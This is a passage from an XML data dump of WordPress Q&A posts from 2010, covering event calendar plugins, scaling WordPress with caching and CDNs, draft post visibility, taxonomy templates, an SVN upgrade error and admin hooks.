$value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then all that &lt;code&gt;current_filter()&lt;/code&gt; does is retrieve the last hook &lt;em&gt;&quot;pushed&quot;&lt;/em&gt; onto the global &lt;code&gt;wp_current_filter&lt;/code&gt; array, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function current_filter() {&#xA;  global $wp_current_filter;&#xA;  return end( $wp_current_filter );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-01T06:29:53.853" CommentCount="4" />
  <row Id="1155" PostTypeId="1" CreationDate="2010-09-01T06:44:42.537" Score="2" ViewCount="654" Body="&lt;p&gt;I'm building a base WordPress theme that will cater mainly to an events calendar plugin (yet to be decided.) I'm curious what WordPress users consider to be the best solution in terms of stability and usability? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that &lt;strong&gt;recurring events are a must-have feature&lt;/strong&gt; but that's just personal preference. This is a free GPL project that will be publically available as a basic greyscale starting point for other theme builders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know first though, &lt;strong&gt;which plugin do seasoned WordPress developers use&lt;/strong&gt;? &lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T09:14:02.703" LastActivityDate="2010-09-07T06:02:37.713" Title="Recommendation for a WordPress Calendar Plugin with Recurring Events?" Tags="&lt;events&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1156" PostTypeId="2" ParentId="395" CreationDate="2010-09-01T06:46:26.277" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/783/how-can-wordpress-be-used-besides-a-blog/1482#1482&quot;&gt;&lt;strong&gt;How can WordPress be used, besides a blog?&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar quesiton at web masters&lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2010-09-01T06:46:26.277" CommunityOwnedDate="2010-09-01T06:46:26.277" />
  <row Id="1157" PostTypeId="2" ParentId="1155" CreationDate="2010-09-01T06:48:44.243" Score="1" ViewCount="" Body="&lt;p&gt;The only decent WP events plugin I've found is the &lt;a href=&quot;http://wordpress.org/extend/plugins/the-events-calendar/&quot; rel=&quot;nofollow&quot;&gt;Events Calendar&lt;/a&gt;. It's a good plugin, but unfortunately it doesn't have recurring events. Every other plugin I've used has been horrible.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2010-09-01T06:48:44.243" />
  <row Id="1158" PostTypeId="2" ParentId="589" CreationDate="2010-09-01T06:49:56.277" Score="0" ViewCount="" Body="&lt;p&gt;I have used &lt;a href=&quot;http://diythemes.com/&quot; rel=&quot;nofollow&quot;&gt;Thesis&lt;/a&gt; theme which serves as a framework too and I like it a lot.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T06:49:56.277" />
  <row Id="1159" PostTypeId="2" ParentId="589" CreationDate="2010-09-01T07:06:18.213" Score="2" ViewCount="" Body="&lt;p&gt;The new default TwentyTen is always a very start, because it has best support for the new 3.0 theme features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel more HTML5-y, &lt;a href=&quot;http://wordpress.org/extend/themes/toolbox&quot; rel=&quot;nofollow&quot;&gt;Toolbox&lt;/a&gt; is your theme.&lt;/p&gt;&#xA;" OwnerUserId="618" LastActivityDate="2010-09-01T07:06:18.213" />
  <row Id="1160" PostTypeId="2" ParentId="1151" CreationDate="2010-09-01T07:13:50.080" Score="0" ViewCount="" Body="&lt;p&gt;In general—yes, this is a valid usage. If I were you I would pass different functions to the different filters and abstract the common parts in other function(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way any of your function will do exactly one thing.&lt;/p&gt;&#xA;" OwnerUserId="618" LastActivityDate="2010-09-01T07:13:50.080" CommentCount="2" />
  <row Id="1161" PostTypeId="2" ParentId="372" CreationDate="2010-09-01T07:27:37.897" Score="0" ViewCount="" Body="&lt;p&gt;Great topic!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some form of control over featured posts (other than stickies)&lt;/li&gt;&#xA;&lt;li&gt;Layout (sidebar) selector for Pages and Posts (useful for single posts/pages containing large media elements or code examples).&lt;/li&gt;&#xA;&lt;li&gt;SEO Title/Meta Options&lt;/li&gt;&#xA;&lt;li&gt;Styled announcement for maintenance notifications or alerts&lt;/li&gt;&#xA;&lt;li&gt;Simple (Google) Analytics or daily stats link&lt;/li&gt;&#xA;&lt;li&gt;Footer text with current year copyright&lt;/li&gt;&#xA;&lt;li&gt;Footer menu support&lt;/li&gt;&#xA;&lt;li&gt;Minify for CSS/JS&lt;/li&gt;&#xA;&lt;li&gt;A/B Testing for homepage   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditorDisplayName="" LastEditDate="2010-09-01T07:33:06.213" LastActivityDate="2010-09-01T07:33:06.213" CommunityOwnedDate="2010-09-01T07:27:37.897" />
  <row Id="1162" PostTypeId="1" AcceptedAnswerId="1167" CreationDate="2010-09-01T07:43:21.423" Score="8" ViewCount="892" Body="&lt;p&gt;With the new Wordpress and it's new features, it seems like WordPress is capable of much more than a simple blog engine. But how well does wordpress scale being used by say 10k -&gt; 100k users per day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that many users a big part of it will be to have a good cache strategy, but how well is WordPress developed to help, making this easy and give you the control you need. Fx being able to cache part of a page and only render user customized parts, support master/slave db setup  and stuff like that?&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="94" LastEditorDisplayName="" LastEditDate="2010-09-06T12:10:35.060" LastActivityDate="2011-02-24T03:24:55.593" Title="How well does WordPress scale?" Tags="&lt;performance&gt;&lt;cache&gt;&lt;scale&gt;" AnswerCount="3" FavoriteCount="9" />
  <row Id="1163" PostTypeId="2" ParentId="1085" CreationDate="2010-09-01T07:51:24.997" Score="0" ViewCount="" Body="&lt;p&gt;Firebug &gt; Edit HTML &gt; Strip out the content then save as source. You can then just drop in your WP snippets. At the very least, you'll have a starting point. I wouldn't recommend this method for a paying client, but it's quick and dirty and can be done.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2010-09-01T07:51:24.997" CommentCount="1" />
  <row Id="1164" PostTypeId="2" ParentId="1047" CreationDate="2010-09-01T08:04:37.143" Score="0" ViewCount="" Body="&lt;p&gt;It's likely another plugin causing this, but just to be sure there are no theme functions messing with you, try temporarily switching to the default theme (twentyten or kubrick) and see if it persists. That's one big variable you can eliminate pretty quickly. &lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2010-09-01T08:04:37.143" />
  <row Id="1165" PostTypeId="2" ParentId="1132" CreationDate="2010-09-01T08:52:05.393" Score="2" ViewCount="" Body="&lt;p&gt;So far I consider bbPress the best option as it is able to share users, user meta data, cookies(single sing-on) and even plugins with Wordpress(although the latter comes at the cost of speed). Achieving user integration is quite easy but for cookies and and plugins it gets somewhat tricky. Keep in mind that bbPress is a basic package - it lacks many features that are standard to other forum boards. Hopefully the upcoming plugin version will open up new possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another choice that I'd advise is Vanilla - version 2 came out recently and they provide single sign-on with WP:&#xA;&lt;a href=&quot;http://vanillaforums.org/page/singlesignon&quot; rel=&quot;nofollow&quot;&gt;http://vanillaforums.org/page/singlesignon&lt;/a&gt;&#xA;Vanilla is lightweight but pretty powerfull.&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2010-09-01T08:52:05.393" />
  <row Id="1166" PostTypeId="2" ParentId="1155" CreationDate="2010-09-01T09:11:18.603" Score="1" ViewCount="" Body="&lt;p&gt;I don't have specific experience with a calendar plugin yet but there was a &lt;a href=&quot;http://www.linkedin.com/groupAnswers?viewQuestionAndAnswers=&amp;amp;discussionID=17984356&amp;amp;gid=154024&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;hugely useful discussion on LinkedIn in the WordPress Group&lt;/strong&gt;&lt;/a&gt; about calendar/event plugins with many people offering many suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd highly recommend you join the group on LinkedIn if you are not already a member (it's free to join it) so you can check out that thread:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;LinkedIn Group Discussion: &lt;a href=&quot;http://www.linkedin.com/groupAnswers?viewQuestionAndAnswers=&amp;amp;discussionID=17984356&amp;amp;gid=154024&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Listed Event or Calendar Plugin for WordPress?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also the EventPress plugin developed this year as part of Google Summer of Code; expect that it will get a lot of support from the core community because of its origin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gsoc2010.wordpress.com/2010/08/16/eventpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EventPress from GSOC 2010&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-07T06:02:37.713" LastActivityDate="2010-09-07T06:02:37.713" />
  <row Id="1167" PostTypeId="2" ParentId="1162" CreationDate="2010-09-01T09:52:24.300" Score="16" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@googletorp:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly &lt;strong&gt;nothing scales as well as static files served by a fast web server&lt;/strong&gt; and any CMS that has to figure out what to load and then load it will not perform as well, WordPress or otherwise. One of the issues is the number of database queries required per URL request and my 2 prior years experience working exclusively with Drupal and now 2+ years with WordPress is that WordPress is much better in that department.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, &lt;strong&gt;almost nothing&lt;/strong&gt; with any power &lt;strong&gt;is going to scale &lt;em&gt;&quot;out-of-the-box&quot;&lt;/em&gt;&lt;/strong&gt;; it's all about &lt;strong&gt;what can you do as your scalability needs grow?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the low end of &lt;em&gt;&quot;lots of traffic&quot;&lt;/em&gt; there are &lt;strong&gt;great caching plugins&lt;/strong&gt; and &lt;strong&gt;integrations with inexpensive CDNs&lt;/strong&gt; you can do a pretty good job on a no-IT budget and low hosting budget.  Here are some other questions &amp;amp; answers to review:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/199/steps-to-optimize-wordpress-in-regard-to-server-load&quot;&gt;Steps to Optimize WordPress in Regard to Server Load?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/835/options-for-cdn-with-wordpress-including-supporting-plugins&quot;&gt;Options for CDN with WordPress Including Supporting Plugins?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/152/configuring-wordpress-for-amazon-cloudfront-caching&quot;&gt;Configuring WordPress for Amazon CloudFront Caching?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are options for &lt;strong&gt;profiling to identify performance bottlenecks&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/828/profiling-a-wp-website-for-deployment-on-shared-hosting&quot;&gt;Profiling a WordPress Website for Deployment on Shared Hosting?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once bottlenecks are identified you can do &lt;strong&gt;localized optimization&lt;/strong&gt; with things like the &lt;strong&gt;Transients API&lt;/strong&gt;. This Q&amp;amp;A gives an example that can be optimized using Transients API and shows how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/907/limiting-post-number-in-wp-query/912#912&quot;&gt;Using WP_Query to Query Multiple Categories with Limited Posts Per Category?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you thing really get want to &lt;strong&gt;pull out the big guns&lt;/strong&gt; you can configure &lt;strong&gt;Memcached&lt;/strong&gt;, &lt;strong&gt;HyperDB&lt;/strong&gt;, &lt;strong&gt;Nginx&lt;/strong&gt; and/or more to speed things up (it seems the latter is really evolving into the way to get amazing scalability out of WordPress):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fairyfish.com/2008/03/13/enable-memcached-for-your-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Enable Memcached for your WordPress&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tech.nocr.at/tech/how-to-speed-up-wordpress-with-nginx-and-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;How To Speed Up WordPress With Nginx And WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/HyperDB&quot; rel=&quot;nofollow&quot;&gt;HyperDB&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.law.harvard.edu/djcp/2010/01/nginx-as-a-front-end-proxy-cache-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;Nginx as a front-end proxy cache for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And finally there are &lt;strong&gt;emerging WordPress-focused webhosts specializing in performance&lt;/strong&gt; such as &lt;a href=&quot;http://wpengine.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Engine&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://zippykid.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ZippyKid&lt;/strong&gt;&lt;/a&gt; and others:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/266/best-of-breed-features-of-a-high-end-wordpress-web-host&quot;&gt;Best-of-Breed features of a high-end WordPress web host?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;the good news is all of the scales very nicely&lt;/strong&gt;; from the very low end of free and easy with technical complexity and cost only grow as traffic significantly grows. Start small with WordPress and it will be great. If your traffic does grow and you are monetizing it even reasonably well you'll find it very cost effect to scale as you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;At least IMO. :)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-01T09:52:24.300" CommentCount="3" />
  <row Id="1168" PostTypeId="1" AcceptedAnswerId="1170" CreationDate="2010-09-01T10:11:32.550" Score="2" ViewCount="126" Body="&lt;p&gt;At any one time I have a number of blog articles that are in draft. Generally, if I encounter something useful, I'll note it in a draft blog entry, to revisit, research and write up at a later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, while these aren't accessible from any hyperlink, I find I am still able to reference them by going to the link directly. E.g: &lt;a href=&quot;http://www.jameswiseman.com/blog/?p=xxxx&quot; rel=&quot;nofollow&quot;&gt;http://www.jameswiseman.com/blog/?p=xxxx&lt;/a&gt; (where 'xxxx' is the post number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently, on my site logs, I have seen an IP (from Ljubljana, Slovenia) that has been accessing these draft posts, which although not particularly sensitive, is still kind-of annoying. I'm guessing they are using the method above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of stopping this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the response below, I am indeed unable to access the post when logged out, however I am still seeing from my access logs hits on my draft pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any more thoughts? &lt;/p&gt;&#xA;" OwnerUserId="631" LastEditorUserId="631" LastEditorDisplayName="" LastEditDate="2010-09-01T11:12:18.283" LastActivityDate="2010-09-01T14:38:47.693" Title="Stopping People Viewing Draft Posts" Tags="&lt;3.0&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1169" PostTypeId="1" AcceptedAnswerId="1171" CreationDate="2010-09-01T10:48:21.087" Score="1" ViewCount="96" Body="&lt;p&gt;I've created a custom taxonomy called 'productCategories' using register_taxonomy(). I've set the rewrite slug to 'products'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how do i render a different template to archive.php for my custom taxonomy /products ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jon&lt;/p&gt;&#xA;" OwnerUserId="634" LastActivityDate="2010-09-01T11:10:55.873" Title="How do I create a custom archive page depending on the custom taxonomy type?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="1170" PostTypeId="2" ParentId="1168" CreationDate="2010-09-01T10:59:45.093" Score="3" ViewCount="" Body="&lt;p&gt;Yes, you (read: Logged in user) will be able to see drafted post. But, guest will not be able to read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test it, login to one browser and create draft. See it's URL on another browser where you don't login (no cookie, etc)&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2010-09-01T14:38:47.693" LastActivityDate="2010-09-01T14:38:47.693" CommentCount="4" />
  <row Id="1171" PostTypeId="2" ParentId="1169" CreationDate="2010-09-01T11:10:55.873" Score="1" ViewCount="" Body="&lt;p&gt;Create a template file called &lt;code&gt;taxonomy-productCategories.php&lt;/code&gt;. For more information, see the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;. I find &lt;a href=&quot;http://codex.wordpress.org/File%3aTemplate_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;this image&lt;/a&gt; particularly helpful.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-01T11:10:55.873" CommentCount="1" />
  <row Id="1172" PostTypeId="1" CreationDate="2010-09-01T11:14:14.113" Score="0" ViewCount="99" Body="&lt;p&gt;Can custom fields be used to determine specific actions upon saving a post to the database? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which action(s) make this possible, since adding post medata seems to always occur after saving a post and thus any plugin hooking into &lt;code&gt;wp_insert_post&lt;/code&gt; is activated before the post meta data has been added to the post.&lt;/p&gt;&#xA;" OwnerUserId="637" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T18:02:04.617" LastActivityDate="2010-09-01T18:02:04.617" Title="Using Custom Fields to Trigger Specific Actions on Saving a Post?" Tags="&lt;custom-field&gt;&lt;hooks&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1173" PostTypeId="2" ParentId="1155" CreationDate="2010-09-01T11:18:14.683" Score="0" ViewCount="" Body="&lt;p&gt;Some time ago I was trying to find a suitable plugin as well, but ended up using Google Calendar with some integration to WordPress.  You can have the calendar embedded on the page, or list events with an RSS feed or via iCal files/URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not always a viable alternative, but might get your problem solved.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T11:18:14.683" />
  <row Id="1174" PostTypeId="1" AcceptedAnswerId="1180" CreationDate="2010-09-01T11:23:37.997" Score="0" ViewCount="279" Body="&lt;p&gt;I have my wordpress install under svn.  I was on version 2.9.2. These were the steps I took:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;saved a copy of my current wordpress directory&lt;/li&gt;&#xA;&lt;li&gt;cd into my top level wordpress directory&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;svn up&lt;/code&gt; (just to make sure that I have the latest of 2.9)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;svn sw &lt;a href=&quot;http://core.svn.wordpress.org/tags/3.0.1/&quot; rel=&quot;nofollow&quot;&gt;http://core.svn.wordpress.org/tags/3.0.1/&lt;/a&gt; .&lt;/code&gt; (upgrade)&lt;/li&gt;&#xA;&lt;li&gt;run wp-admin/upgrade.php&lt;/li&gt;&#xA;&lt;li&gt;got this error &quot;Fatal error: Call to undefined function is_multisite() in &lt;em&gt;(my install directory)&lt;/em&gt;/wordpress/wp-includes/wp-db.php on line 505&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I looked around and some people think it's a memory issue with PHP. So I tried the Memory Bump plugin and that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Found &lt;a href=&quot;http://wordpress.org/support/topic/call-to-undefined-function-is_multisite-after-wordpress-30-upgrade&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;.  Downloaded the latest 3.0 tar and overwrote my wp-settings.php with the one in the download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get different errors now. &quot;Fatal error: Cannot redeclare wp_load_image() (previously declared in /&lt;em&gt;myinstalldir&lt;/em&gt;/wordpress/wp-includes/media.php:241) in /&lt;em&gt;myinstalldir&lt;/em&gt;/wordpress/wp-admin/includes/image.php on line 168&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I perform and &lt;code&gt;svn status&lt;/code&gt; I see lots of 'S' flags (switched).  Do I have to be concerned with that?  wp-settings.php has that flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://pastebin.com/6bqPPpw6&quot; rel=&quot;nofollow&quot;&gt;Here's the output&lt;/a&gt; of the above &lt;code&gt;svn sw&lt;/code&gt; from the root Wordpress directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Output of &lt;code&gt;svn st&lt;/code&gt; &lt;a href=&quot;http://pastebin.com/TJRhf0WZ&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. (Migrated the long listings to pastebin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Output of &lt;code&gt;svn info&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Path: .&#xA;URL: http://core.svn.wordpress.org/tags/3.0.1&#xA;Repository Root: http://core.svn.wordpress.org&#xA;Repository UUID: 1a063a9b-81f0-0310-95a4-ce76da25c4cd&#xA;Revision: 15559&#xA;Node Kind: directory&#xA;Schedule: normal&#xA;Last Changed Author: ryan&#xA;Last Changed Rev: 13165&#xA;Last Changed Date: 2010-02-15 09:38:59 -0800 (Mon, 15 Feb 2010)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="448" LastEditorUserId="448" LastEditorDisplayName="" LastEditDate="2010-09-03T02:37:44.890" LastActivityDate="2010-09-03T02:37:44.890" Title="Error upgrading from 2.9.2 to 3.0.1" Tags="&lt;3.0.1&gt;&lt;upgrade&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="1175" PostTypeId="2" ParentId="1092" CreationDate="2010-09-01T11:23:49.603" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-tags/&quot; rel=&quot;nofollow&quot;&gt;Simple Tags&lt;/a&gt; plugin offers the 'Related posts' functionality based on tags of the post.  There is a way to configure the template of how related posts are shown.  Not sure if you can take it as far as display the post image, but it's sure worth a try.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T11:23:49.603" />
  <row Id="1176" PostTypeId="2" ParentId="1172" CreationDate="2010-09-01T12:18:59.710" Score="1" ViewCount="" Body="&lt;p&gt;If you are wanting to run the function after the post meta data has been added/updated, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'updated_post_meta', 'my_post_meta_function' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="43" LastEditorUserId="43" LastEditorDisplayName="" LastEditDate="2010-09-01T12:24:42.520" LastActivityDate="2010-09-01T12:24:42.520" />
  <row Id="1177" PostTypeId="1" AcceptedAnswerId="1212" CreationDate="2010-09-01T12:25:10.103" Score="4" ViewCount="441" Body="&lt;p&gt;Related to this &lt;a href=&quot;http://wordpress.stackexchange.com/q/1162/514&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendation on tools, plugins for optimizing a large eCommerce site on WP.  Currently hitting 1000 items and 5000 more items coming.  It seems the optimizations would be different than a standard blog serving thousands of users.  The number of stores being developed on WP is increasing and putting a package of optimizations together would appear helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-17T08:44:36.920" LastActivityDate="2010-09-17T08:44:36.920" Title="Scaling a WP eCommerce site" Tags="&lt;3.0&gt;&lt;optimization&gt;&lt;e-commerce&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" />
  <row Id="1178" PostTypeId="1" AcceptedAnswerId="1183" CreationDate="2010-09-01T12:55:09.053" Score="1" ViewCount="593" Body="&lt;p&gt;I was playing with: &lt;code&gt;$wp_meta_boxes&lt;/code&gt;, &lt;code&gt;$menu&lt;/code&gt; and &lt;code&gt;$submenu&lt;/code&gt; global arrays to remove &quot;things&quot; on admin dashboard (using unset on PHP &lt;code&gt;foreach&lt;/code&gt; iterations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm stuck trying to remove without using jQuery or JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Favorites action menu.&lt;/li&gt;&#xA;&lt;li&gt;Screen options panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="450" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-06-30T08:33:04.267" LastActivityDate="2011-06-30T08:33:04.267" Title="Remove favorites action menu and screen options panel" Tags="&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="1179" PostTypeId="2" ParentId="1174" CreationDate="2010-09-01T12:56:52.880" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like you ran &lt;code&gt;svn sw&lt;/code&gt; in a subdirectory, rather than the top-level WordPress directory. We may be able to help you recover, if you can't just checkout a clean copy and move over your plugins and themes. The full output of &lt;code&gt;svn st&lt;/code&gt; would be helpful, as well as &lt;code&gt;svn info&lt;/code&gt; for any directory that may have been switched independent of its parent.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-01T12:56:52.880" CommentCount="0" />
  <row Id="1180" PostTypeId="2" ParentId="1174" CreationDate="2010-09-01T13:04:34.813" Score="1" ViewCount="" Body="&lt;p&gt;I also used SVN before to update my wordpress installation. Up the working copied will get messed up very quickly with all the manual updates or files created by plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would always recommend to use the update functionality of wordpress if you only want to step from one tagged version to another one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, I also use SVN for a local copy of wordpress to be able to quickly test my plugins in some old version real quick. I use Eclipse to switch from one to another tag and until now it worked out. But you'll never know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&#xA;I just tried to switch a clean checkout of 2.9.2 to 3.0.1 which looks like it is working, but I can only see the backend and not the frontend of the default single blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&#xA;What even the debug mode doesn't tell me: As the default pre WP 3.0 theme is no longer available I just have to switch to the new &quot;2010&quot; theme. Now everything is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So switching does work, but as I said before, your working copy usually get's messed up with a lot of files that might cause some problems updating your WP copy with SVN switch.&lt;/p&gt;&#xA;" OwnerUserId="462" LastEditorUserId="462" LastEditorDisplayName="" LastEditDate="2010-09-01T13:12:06.073" LastActivityDate="2010-09-01T13:12:06.073" CommentCount="1" />
  <row Id="1181" PostTypeId="2" ParentId="985" CreationDate="2010-09-01T14:19:17.047" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure what your hosting situation is or your performance requirements are, but I saw significant memory usage reductions by switching from Apache2 to lighttpd on my Linux host.&lt;/p&gt;&#xA;" OwnerUserId="645" LastActivityDate="2010-09-01T14:19:17.047" CommentCount="1" />
